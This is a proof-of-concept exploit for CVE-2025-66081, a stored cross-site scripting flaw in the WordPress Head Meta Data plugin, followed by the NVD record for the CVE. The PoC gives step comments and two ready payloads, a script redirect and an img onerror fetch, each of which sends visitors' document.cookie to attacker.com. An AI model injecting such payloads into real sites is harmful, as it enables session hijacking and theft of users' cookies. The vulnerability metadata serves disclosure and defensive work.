CVE-2025-66081

<!-- WordPress Head Meta Data Plugin Stored XSS PoC --> <!-- Attacker with high privileges (admin/editor) can inject malicious script --> <!-- Step 1: Inject payload in Head Meta Data plugin settings --> <!-- Payload location: Plugin's meta data input fields --> <script>alert('XSS by CVE-2025-66081');document.location='https://attacker.com/steal?c='+document.cookie</script> <!-- Step 2: When any user visits the affected page, the script executes automatically --> <!-- The malicious script runs in the context of the victim's browser session --> <!-- Alternative payload for session hijacking --> <img src=x onerror="fetch('https://attacker.com/log?cookie='+document.cookie)">

{"cve": {"id": "CVE-2025-66081", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:48.977", "lastModified": "2026-04-27T18:16:34.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jeff Starr Head Meta Data head-meta-data allows Stored XSS.This issue affects Head Meta Data: from n/a through <= 20250327."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/head-meta-data/vulnerability/wordpress-head-meta-data-plugin-20250327-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}